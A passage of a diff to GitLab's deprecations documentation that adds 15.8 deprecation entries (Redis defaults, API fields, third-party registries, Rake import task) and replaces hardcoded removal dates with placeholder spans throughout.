+ +If GitLab starts without any Redis configuration file present, +GitLab assumes it can connect to three Redis servers at `localhost:6380`, +`localhost:6381` and `localhost:6382`. We are changing this behavior +so GitLab assumes there is one Redis server at `localhost:6379`. + +Administrators who want to keep the three servers must configure +the Redis URLs by editing the `config/redis.cache.yml`,`config/redis.queues.yml` +and `config/redis.shared_state.yml` files. + +</div> + +<div class="deprecation removal-160 breaking-change"> + +### Null value for `private_profile` attribute in User API is deprecated + +Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span> + +WARNING: +This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). +Review the details carefully before upgrading. + +When creating and updating users through the API, `null` was a valid value for the `private_profile` attribute, which would internally be converted to the default value. Starting with 16.0, `null` will no longer be a valid value for this parameter, and the response will be a 400 if used. Now the only valid values are `true` and `false`. + +</div> + +<div class="deprecation removal-160 breaking-change"> + +### Projects API field `operations_access_level` is deprecated + +Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span> + +WARNING: +This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). +Review the details carefully before upgrading. + +We are deprecating the `operations_access_level` field in the Projects API. This field has been replaced by fields to control specific features: `releases_access_level`, `environments_access_level`, `feature_flags_access_level`, `infrastructure_access_level`, and `monitor_access_level`. + +</div> + +<div class="deprecation removal-160"> + +### Rake task for importing bare repositories + +Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span> + +The [Rake task for importing bare repositories](https://docs.gitlab.com/ee/raketasks/import.html) `gitlab:import:repos` is deprecated in GitLab 15.8 and will be removed in GitLab 16.0. + +This Rake task imports a directory tree of repositories into a GitLab instance. These repositories must have been +managed by GitLab previously, because the Rake task relies on the specific directory structure or a specific custom Git setting in order to work (`gitlab.fullpath`). + +Importing repositories using this Rake task has limitations. The Rake task: + +- Only knows about project and project wiki repositories and doesn't support repositories for designs, group wikis, or snippets. +- Permits you to import non-hashed storage projects even though these aren't supported. +- Relies on having Git config `gitlab.fullpath` set. [Epic 8953](https://gitlab.com/groups/gitlab-org/-/epics/8953) proposes removing support for this setting. + +Alternatives to using the `gitlab:import:repos` Rake task include: + +- Migrating projects using either [an export file](https://docs.gitlab.com/ee/user/project/settings/import_export.html) or + [direct transfer](https://docs.gitlab.com/ee/user/group/import/#migrate-groups-by-direct-transfer-recommended) migrate repositories as well. +- Importing a [repository by URL](https://docs.gitlab.com/ee/user/project/import/repo_by_url.html). +- Importing a [repositories from a non-GitLab source](https://docs.gitlab.com/ee/user/project/import/). + +</div> + +<div class="deprecation removal-160 breaking-change"> + +### Support for third party registries + +Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span> + +WARNING: +This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). +Review the details carefully before upgrading. + +Support for third-party container registries is deprecated in GitLab 15.8 and will be [removed](https://gitlab.com/gitlab-org/gitlab/-/issues/376217) in GitLab 16.0. Supporting both GitLab's Container Registry and third-party container registries is challenging for maintenance, code quality, and backward compatibility. This hinders our ability to stay [efficient](https://about.gitlab.com/handbook/values/#efficiency). + +Since we released the new [GitLab Container Registry](https://gitlab.com/groups/gitlab-org/-/epics/5523) version for GitLab.com, we've started to implement additional features that are not available in third-party container registries. These new features have allowed us to achieve significant performance improvements, such as [cleanup policies](https://gitlab.com/groups/gitlab-org/-/epics/8379). We are focusing on delivering [new features](https://gitlab.com/groups/gitlab-org/-/epics/5136), most of which will require functionalities only available on the GitLab Container Registry. This deprecation allows us to reduce fragmentation and user frustration in the long term by focusing on delivering a more robust integrated registry experience and feature set. + +Moving forward, we'll continue to invest in developing and releasing new features that will only be available in the GitLab Container Registry. + +</div> + +<div class="deprecation removal-160 breaking-change"> + +### The API no longer returns revoked tokens for the agent for Kubernetes + +Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span> + +WARNING: +This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). +Review the details carefully before upgrading. + +Currently, GET requests to the [Cluster Agents API](https://docs.gitlab.com/ee/api/cluster_agents.html#list-tokens-for-an-agent) +endpoints can return revoked tokens. In GitLab 16.0, GET requests will not return revoked tokens. + +You should review your calls to these endpoints and ensure you do not use revoked tokens. + +This change affects the following REST and GraphQL API endpoints: + +- REST API: + - [List tokens](https://docs.gitlab.com/ee/api/cluster_agents.html#list-tokens-for-an-agent) + - [Get a single token](https://docs.gitlab.com/ee/api/cluster_agents.html#get-a-single-agent-token) +- GraphQL: + - [`ClusterAgent.tokens`](https://docs.gitlab.com/ee/api/graphql/reference/#clusteragenttokens) + +</div> + +<div class="deprecation removal-170 breaking-change"> + +### The Visual Reviews tool is deprecated + +Planned removal: GitLab <span class="removal-milestone">17.0</span> <span class="removal-date"></span> + +WARNING: +This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). +Review the details carefully before upgrading. + +Due to limited customer usage and capabilities, the Visual Reviews feature for Review Apps is deprecated and will be removed. There is no planned replacement and users should stop using Visual Reviews before GitLab 17.0. + +</div> + +<div class="deprecation removal-160 breaking-change"> + +### The latest Terraform templates will overwrite current stable templates + +Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span> + +WARNING: +This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). +Review the details carefully before upgrading. + +With every major GitLab version, we update the stable Terraform templates with the current latest templates. +This change affects the [quickstart](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Terraform.gitlab-ci.yml) +and the [base](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Terraform/Base.gitlab-ci.yml) templates. + +Because the new templates ship with default rules, the update might break your Terraform pipelines. +For example, if your Terraform jobs are triggered as a downstream pipeline, the rules won't trigger your jobs +in GitLab 16.0. + +To accommodate the changes, you might need to adjust the [`rules`](https://docs.gitlab.com/ee/ci/yaml/#rules) in your +`.gitlab-ci.yml` file. + +</div> + +<div class="deprecation removal-160 breaking-change"> + +### `environment_tier` parameter for DORA API + +Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span> + +WARNING: +This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). +Review the details carefully before upgrading. + +To avoid confusion and duplication, the `environment_tier` parameter is deprecated in favor of the `environment_tiers` parameter. The new `environment_tiers` parameter allows DORA APIs to return aggregated data for multiple tiers at the same time. The `environment_tier` parameter will be removed in GitLab 16.0. + +</div> + +<div class="deprecation removal-1511"> + +### openSUSE Leap 15.3 packages + +Planned removal: GitLab <span class="removal-milestone">15.11</span> <span class="removal-date"></span> + +Distribution support and security updates for openSUSE Leap 15.3 [ended December 2022](https://en.opensuse.org/Lifetime#Discontinued_distributions). + +Starting in GitLab 15.7 we started providing packages for openSUSE Leap 15.4, and will stop providing packages for openSUSE Leap 15.3 in the 15.11 milestone. + +- Switch from the openSUSE Leap 15.3 packages to the provided 15.4 packages. + +</div> +</div> + +<div class="announcement-milestone"> + ## Announced in 15.7 <div class="deprecation removal-160 breaking-change"> ### DAST API scans using DAST template is deprecated -Planned removal: GitLab <span class="removal-milestone">16.0</span> (2023-05-22) +Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span> WARNING: This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). @@ -68,7 +516,7 @@ With the move to the new DAST API analyzer and the `DAST-API.gitlab-ci.yml` temp ### DAST API variables -Planned removal: GitLab <span class="removal-milestone">16.0</span> (2023-05-22) +Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span> WARNING: This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). @@ -88,7 +536,7 @@ These two variables will be removed in GitLab 16.0. ### DAST ZAP advanced configuration variables deprecation -Planned removal: GitLab <span class="removal-milestone">16.0</span> (2023-05-22) +Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span> WARNING: This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). @@ -104,7 +552,7 @@ These three variables will be removed in GitLab 16.0. ### DAST report variables deprecation -Planned removal: GitLab <span class="removal-milestone">16.0</span> (2023-05-22) +Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span> WARNING: This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). @@ -120,8 +568,8 @@ These three variables will be removed in GitLab 16.0. ### KAS Metrics Port in GitLab Helm Chart -End of Support: GitLab <span class="removal-milestone">16.0</span> (2023-05-22)<br /> -Planned removal: GitLab <span class="removal-milestone">16.0</span> (2023-05-22) +End of Support: GitLab <span class="removal-milestone">16.0</span> <span class="support-end-date"></span><br /> +Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span> WARNING: This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). @@ -136,8 +584,8 @@ This port is used for much more than just metrics, which warranted this change t ### Shimo integration -End of Support: GitLab <span class="removal-milestone">16.0</span> (2023-05-22)<br /> -Planned removal: GitLab <span class="removal-milestone">16.0</span> (2023-05-22) +End of Support: GitLab <span class="removal-milestone">16.0</span> <span class="support-end-date"></span><br /> +Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span> WARNING: This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). @@ -152,7 +600,7 @@ and will be moved to the JiHu GitLab codebase. ### Single merge request changes API endpoint -Planned removal: GitLab <span class="removal-milestone">16.0</span> (2023-05-22) +Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span> WARNING: This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). @@ -166,8 +614,8 @@ The endpoint to get [changes from a single merge request](https://docs.gitlab.co ### Support for REST API endpoints that reset runner registration tokens -End of Support: GitLab <span class="removal-milestone">16.0</span> (2023-05-22)<br /> -Planned removal: GitLab <span class="removal-milestone">16.0</span> (2023-05-22) +End of Support: GitLab <span class="removal-milestone">16.0</span> <span class="support-end-date"></span><br /> +Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span> WARNING: This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). @@ -193,8 +641,8 @@ From GitLab 16.0 and later, the runner registration methods implemented by the n ### Support for periods (`.`) in Terraform state names might break existing states -End of Support: GitLab <span class="removal-milestone">16.0</span> (2023-05-22)<br /> -Planned removal: GitLab <span class="removal-milestone">16.0</span> (2023-05-22) +End of Support: GitLab <span class="removal-milestone">16.0</span> <span class="support-end-date"></span><br /> +Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span> WARNING: This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). @@ -218,7 +666,7 @@ To use the full state name, including the period, [migrate to the full state fil ### The Phabricator task importer is deprecated -Planned removal: GitLab <span class="removal-milestone">16.0</span> (2023-05-22) +Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span> WARNING: This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). @@ -232,8 +680,8 @@ The [Phabricator task importer](https://docs.gitlab.com/ee/user/project/import/p ### The `gitlab-runner exec` command is deprecated -End of Support: GitLab <span class="removal-milestone">16.0</span> (2023-05-22)<br /> -Planned removal: GitLab <span class="removal-milestone">16.0</span> (2023-05-22) +End of Support: GitLab <span class="removal-milestone">16.0</span> <span class="support-end-date"></span><br /> +Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span> WARNING: This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). @@ -247,8 +695,8 @@ The [`gitlab-runner exec`](https://docs.gitlab.com/runner/commands/#gitlab-runne ### ZenTao integration -End of Support: GitLab <span class="removal-milestone">16.0</span> (2023-05-22)<br /> -Planned removal: GitLab <span class="removal-milestone">16.0</span> (2023-05-22) +End of Support: GitLab <span class="removal-milestone">16.0</span> <span class="support-end-date"></span><br /> +Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span> WARNING: This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). @@ -263,7 +711,7 @@ and will be moved to the JiHu GitLab codebase. ### `POST ci/lint` API endpoint deprecated -Planned removal: GitLab <span class="removal-milestone">16.0</span> (2023-05-22) +Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span> WARNING: This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). @@ -282,8 +730,8 @@ The `POST ci/lint` API endpoint is deprecated in 15.7, and will be removed in 16 ### Configuration fields in GitLab Runner Helm Chart -End of Support: GitLab <span class="removal-milestone">16.0</span> (2023-05-22)<br /> -Planned removal: GitLab <span class="removal-milestone">16.0</span> (2023-05-22) +End of Support: GitLab <span class="removal-milestone">16.0</span> <span class="support-end-date"></span><br /> +Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span> WARNING: This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). @@ -297,8 +745,8 @@ From GitLab 13.6, users can [specify any runner configuration in the GitLab Runn ### GitLab Runner registration token in Runner Operator -End of Support: GitLab <span class="removal-milestone">16.0</span> (2023-05-22)<br /> -Planned removal: GitLab <span class="removal-milestone">17.0</span> (2024-05-22) +End of Support: GitLab <span class="removal-milestone">16.0</span> <span class="support-end-date"></span><br /> +Planned removal: GitLab <span class="removal-milestone">17.0</span> <span class="removal-date"></span> WARNING: This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). @@ -312,8 +760,8 @@ The [`runner-registration-token`](https://docs.gitlab.com/runner/install/operato ### Registration tokens and server-side runner arguments in `POST /api/v4/runners` endpoint -End of Support: GitLab <span class="removal-milestone">16.0</span> (2023-05-22)<br /> -Planned removal: GitLab <span class="removal-milestone">17.0</span> (2024-05-22) +End of Support: GitLab <span class="removal-milestone">16.0</span> <span class="support-end-date"></span><br /> +Planned removal: GitLab <span class="removal-milestone">17.0</span> <span class="removal-date"></span> WARNING: This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). @@ -336,8 +784,8 @@ From GitLab 17.0 and later, the runner registration methods implemented by the n ### Registration tokens and server-side runner arguments in `gitlab-runner register` command -End of Support: GitLab <span class="removal-milestone">16.0</span> (2023-05-22)<br /> -Planned removal: GitLab <span class="removal-milestone">17.0</span> (2024-05-22) +End of Support: GitLab <span class="removal-milestone">16.0</span> <span class="support-end-date"></span><br /> +Planned removal: GitLab <span class="removal-milestone">17.0</span> <span class="removal-date"></span> WARNING: This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). @@ -357,8 +805,8 @@ to the `gitlab-runner register` command. ### `runnerRegistrationToken` parameter for GitLab Runner Helm Chart -End of Support: GitLab <span class="removal-milestone">16.0</span> (2023-05-22)<br /> -Planned removal: GitLab <span class="removal-milestone">17.0</span> (2024-05-22) +End of Support: GitLab <span class="removal-milestone">16.0</span> <span class="support-end-date"></span><br /> +Planned removal: GitLab <span class="removal-milestone">17.0</span> <span class="removal-date"></span> WARNING: This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). @@ -378,7 +826,7 @@ From GitLab 17.0 and later, the methods to register runners introduced by the ne ### merge_status API field -Planned removal: GitLab <span class="removal-milestone">16.0</span> (2023-05-22) +Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span> WARNING: This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). @@ -397,7 +845,7 @@ The `merge_status` field in the [merge request API](https://docs.gitlab.com/ee/a ### File Type variable expansion in `.gitlab-ci.yml` -Planned removal: GitLab <span class="removal-milestone">15.7</span> (2022-12-22) +Planned removal: GitLab <span class="removal-milestone">15.7</span> <span class="removal-date"></span> WARNING: This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). @@ -413,7 +861,7 @@ This breaking change fixes this issue but could disrupt user workflows that work ### GraphQL field `confidential` changed to `internal` on notes -Planned removal: GitLab <span class="removal-milestone">16.0</span> (2023-05-22) +Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span> WARNING: This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). @@ -427,7 +875,7 @@ The `confidential` field for a `Note` will be deprecated and renamed to `interna ### vulnerabilityFindingDismiss GraphQL mutation -Planned removal: GitLab <span class="removal-milestone">16.0</span> (2023-05-22) +Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span> WARNING: This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). @@ -446,7 +894,7 @@ The `VulnerabilityFindingDismiss` GraphQL mutation is being deprecated and will ### Container Scanning variables that reference Docker -Planned removal: GitLab <span class="removal-milestone">16.0</span> (2023-05-22) +Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span> WARNING: This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). @@ -460,7 +908,7 @@ All Container Scanning variables that are prefixed by `DOCKER_` in variable name ### Non-expiring access tokens -Planned removal: GitLab <span class="removal-milestone">16.0</span> (2023-05-22) +Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span> WARNING: This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). @@ -487,7 +935,7 @@ default is applied: ### Starboard directive in the config for the GitLab Agent for Kubernetes -Planned removal: GitLab <span class="removal-milestone">16.0</span> (2023-05-22) +Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span> WARNING: This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). @@ -501,7 +949,7 @@ GitLab's operational container scanning capabilities no longer require starboard ### Toggle behavior of `/draft` quick action in merge requests -Planned removal: GitLab <span class="removal-milestone">16.0</span> (2023-05-22) +Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span> WARNING: This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). @@ -515,7 +963,7 @@ In order to make the behavior of toggling the draft status of a merge request mo ### Vulnerability confidence field -Planned removal: GitLab <span class="removal-milestone">16.0</span> (2023-05-22) +Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span> WARNING: This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). @@ -537,7 +985,7 @@ removed in 16.0. ### Atlassian Crowd OmniAuth provider -Planned removal: GitLab <span class="removal-milestone">16.0</span> (2023-05-22) +Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span> WARNING: This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). @@ -554,7 +1002,7 @@ next major release, GitLab 16.0. This gem sees very little use and its ### Bundled Grafana deprecated -Planned removal: GitLab <span class="removal-milestone">15.4</span> (2022-09-22) +Planned removal: GitLab <span class="removal-milestone">15.4</span> <span class="removal-date"></span> In GitLab 15.4, we will be swapping the bundled Grafana to a fork of Grafana maintained by GitLab. @@ -568,7 +1016,7 @@ This is not expected to cause any incompatibilities with the previous version of ### CAS OmniAuth provider -Planned removal: GitLab <span class="removal-milestone">16.0</span> (2023-05-22) +Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span> WARNING: This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). @@ -584,7 +1032,7 @@ release, GitLab 16.0. This gem sees very little use and its lack of upstream mai ### Maximum number of active pipelines per project limit (`ci_active_pipelines`) -Planned removal: GitLab <span class="removal-milestone">16.0</span> (2023-05-22) +Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span> The [**Maximum number of active pipelines per project** limit](https://docs.gitlab.com/ee/user/admin_area/settings/continuous_integration.html#set-cicd-limits) was never enabled by default and will be removed in GitLab 16.0. This limit can also be configured in the Rails console under [`ci_active_pipelines`](https://docs.gitlab.com/ee/administration/instance_limits.html#number-of-pipelines-running-concurrently). Instead, use the other recommended rate limits that offer similar protection: @@ -597,8 +1045,8 @@ The [**Maximum number of active pipelines per project** limit](https://docs.gitl ### Redis 5 deprecated -End of Support: GitLab <span class="removal-milestone">15.6</span> (2022-11-22)<br /> -Planned removal: GitLab <span class="removal-milestone">16.0</span> (2023-05-22) +End of Support: GitLab <span class="removal-milestone">15.6</span> <span class="support-end-date"></span><br /> +Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span> WARNING: This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). @@ -614,7 +1062,7 @@ If you are using your own Redis 5.0 instance, you should upgrade it to Redis 6.0 ### Security report schemas version 14.x.x -Planned removal: GitLab <span class="removal-milestone">16.0</span> (2023-05-22) +Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span> WARNING: This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). @@ -634,7 +1082,7 @@ For more information, refer to [security report validation](https://docs.gitlab. ### Use of `id` field in vulnerabilityFindingDismiss mutation -Planned removal: GitLab <span class="removal-milestone">16.0</span> (2023-05-22) +Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span> WARNING: This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). @@ -653,7 +1101,7 @@ You can use the vulnerabilityFindingDismiss GraphQL mutation to set the status o ### Remove `job_age` parameter from `POST /jobs/request` Runner endpoint -Planned removal: GitLab <span class="removal-milestone">16.0</span> (2023-05-22) +Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span> WARNING: This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). @@ -674,7 +1122,7 @@ This could be a breaking change for anyone that developed their own runner that ### Jira GitHub Enterprise DVCS integration -Planned removal: GitLab <span class="removal-milestone">16.0</span> (2023-05-22) +Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span> WARNING: This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). @@ -689,7 +1137,7 @@ Any Jira Server and Jira Data Center users will need to confirm they are not usi ### PipelineSecurityReportFinding name GraphQL field -Planned removal: GitLab <span class="removal-milestone">16.0</span> (2023-05-22) +Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span> WARNING: This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). @@ -703,7 +1151,7 @@ Previously, the [PipelineSecurityReportFinding GraphQL type was updated](https:/ ### PipelineSecurityReportFinding projectFingerprint GraphQL field -Planned removal: GitLab <span class="removal-milestone">16.0</span> (2023-05-22) +Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span> WARNING: This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). @@ -717,7 +1165,7 @@ The [`project_fingerprint`](https://gitlab.com/groups/gitlab-org/-/epics/2791) a ### REST API Runner maintainer_note -Planned removal: GitLab <span class="removal-milestone">16.0</span> (2023-05-22) +Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span> WARNING: This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). @@ -732,7 +1180,7 @@ The `maintainer_note` argument will be removed in GitLab 16.0. ### Vulnerability Report sort by Tool -Planned removal: GitLab <span class="removal-milestone">15.3</span> (2022-08-22) +Planned removal: GitLab <span class="removal-milestone">15.3</span> <span class="removal-date"></span> The ability to sort the Vulnerability Report by the `Tool` column (scan type) was disabled and put behind a feature flag in GitLab 14.10 due to a refactor of the underlying data model. The feature flag has remained off by default as further refactoring will be required to ensure sorting @@ -745,7 +1193,7 @@ GitLab 15.3 to simplify the codebase and prevent any unwanted performance degrad ### project.pipeline.securityReportFindings GraphQL query -Planned removal: GitLab <span class="removal-milestone">16.0</span> (2023-05-22) +Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span> WARNING: This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). @@ -764,7 +1212,7 @@ Previous work helped [align the vulnerabilities calls for pipeline security tabs ### CiCdSettingsUpdate mutation renamed to ProjectCiCdSettingsUpdate -Planned removal: GitLab <span class="removal-milestone">16.0</span> (2023-05-22) +Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span> WARNING: This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). @@ -781,7 +1229,7 @@ instead. ### GraphQL API legacyMode argument for Runner status -Planned removal: GitLab <span class="removal-milestone">16.0</span> (2023-05-22) +Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span> WARNING: This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). @@ -800,7 +1248,7 @@ be present during the 16.x cycle to avoid breaking the API signature, and will b ### PostgreSQL 12 deprecated -Planned removal: GitLab <span class="removal-milestone">16.0</span> (2023-05-22) +Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span> WARNING: This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). @@ -820,7 +1268,7 @@ Upgrading to PostgreSQL 13 is not yet supported for GitLab instances with Geo en ### Vulnerability Report sort by State -Planned removal: GitLab <span class="removal-milestone">15.3</span> (2022-08-22) +Planned removal: GitLab <span class="removal-milestone">15.3</span> <span class="removal-date"></span> The ability to sort the Vulnerability Report by the `State` column was disabled and put behind a feature flag in GitLab 14.10 due to a refactor of the underlying data model. The feature flag has remained off by default as further refactoring will be required to ensure sorting @@ -837,7 +1285,7 @@ by this value remains performant. Due to very low usage of the `State` column fo ### Dependency Scanning default Java version changed to 17 -Planned removal: GitLab <span class="removal-milestone">15.0</span> (2022-05-22) +Planned removal: GitLab <span class="removal-milestone">15.0</span> <span class="removal-date"></span> WARNING: This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). @@ -851,7 +1299,7 @@ In GitLab 15.0, for Dependency Scanning, the default version of Java that the sc ### Outdated indices of Advanced Search migrations -Planned removal: GitLab <span class="removal-milestone">15.0</span> (2022-05-22) +Planned removal: GitLab <span class="removal-milestone">15.0</span> <span class="removal-date"></span> WARNING: This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). @@ -865,7 +1313,7 @@ As Advanced Search migrations usually require support multiple code paths for a ### Toggle notes confidentiality on APIs -Planned removal: GitLab <span class="removal-milestone">16.0</span> (2023-05-22) +Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span> WARNING: This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). @@ -884,7 +1332,7 @@ Toggling notes confidentiality with REST and GraphQL APIs is being deprecated. U ### Background upload for object storage -Planned removal: GitLab <span class="removal-milestone">15.0</span> (2022-05-22) +Planned removal: GitLab <span class="removal-milestone">15.0</span> <span class="removal-date"></span> WARNING: This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). @@ -905,7 +1353,7 @@ GitLab will publish additional guidance to assist affected customers in migratin ### Deprecate support for Debian 9 -Planned removal: GitLab <span class="removal-milestone">15.1</span> (2022-06-22) +Planned removal: GitLab <span class="removal-milestone">15.1</span> <span class="removal-date"></span> Long term service and support (LTSS) for [Debian 9 Stretch ends in July 2022](https://wiki.debian.org/LTS). Therefore, we will no longer support the Debian 9 distribution for the GitLab package. Users can upgrade to Debian 10 or Debian 11. @@ -915,7 +1363,7 @@ Long term service and support (LTSS) for [Debian 9 Stretch ends in July 2022](ht ### GitLab Pages running as daemon -Planned removal: GitLab <span class="removal-milestone">15.0</span> (2022-05-22) +Planned removal: GitLab <span class="removal-milestone">15.0</span> <span class="removal-date"></span> In 15.0, support for daemon mode for GitLab Pages will be removed. @@ -925,7 +1373,7 @@ In 15.0, support for daemon mode for GitLab Pages will be removed. ### GitLab self-monitoring project -Planned removal: GitLab <span class="removal-milestone">16.0</span> (2023-05-22) +Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span> WARNING: This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). @@ -939,7 +1387,7 @@ GitLab self-monitoring gives administrators of self-hosted GitLab instances the ### GraphQL permissions change for Package settings -Planned removal: GitLab <span class="removal-milestone">15.0</span> (2022-05-22) +Planned removal: GitLab <span class="removal-milestone">15.0</span> <span class="removal-date"></span> WARNING: This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). @@ -960,7 +1408,7 @@ The permissions model for GraphQL is being updated. After 15.0, users with the G ### Move `custom_hooks_dir` setting from GitLab Shell to Gitaly -Planned removal: GitLab <span class="removal-milestone">15.0</span> (2022-05-22) +Planned removal: GitLab <span class="removal-milestone">15.0</span> <span class="removal-date"></span> The [`custom_hooks_dir`](https://docs.gitlab.com/ee/administration/server_hooks.html#create-a-global-server-hook-for-all-repositories) setting is now configured in Gitaly, and will be removed from GitLab Shell in GitLab 15.0. @@ -970,7 +1418,7 @@ The [`custom_hooks_dir`](https://docs.gitlab.com/ee/administration/server_hooks. ### Permissions change for downloading Composer dependencies -Planned removal: GitLab <span class="removal-milestone">14.10</span> (2022-04-22) +Planned removal: GitLab <span class="removal-milestone">14.10</span> <span class="removal-date"></span> WARNING: This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). @@ -986,7 +1434,7 @@ Downloading Composer dependencies without authentication is deprecated in GitLab ### htpasswd Authentication for the Container Registry -Planned removal: GitLab <span class="removal-milestone">15.0</span> (2022-05-22) +Planned removal: GitLab <span class="removal-milestone">15.0</span> <span class="removal-date"></span> WARNING: This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). @@ -1002,7 +1450,7 @@ Since it isn't used in the context of GitLab (the product), `htpasswd` authentic ### user_email_lookup_limit API field -Planned removal: GitLab <span class="removal-milestone">15.0</span> (2022-05-22) +Planned 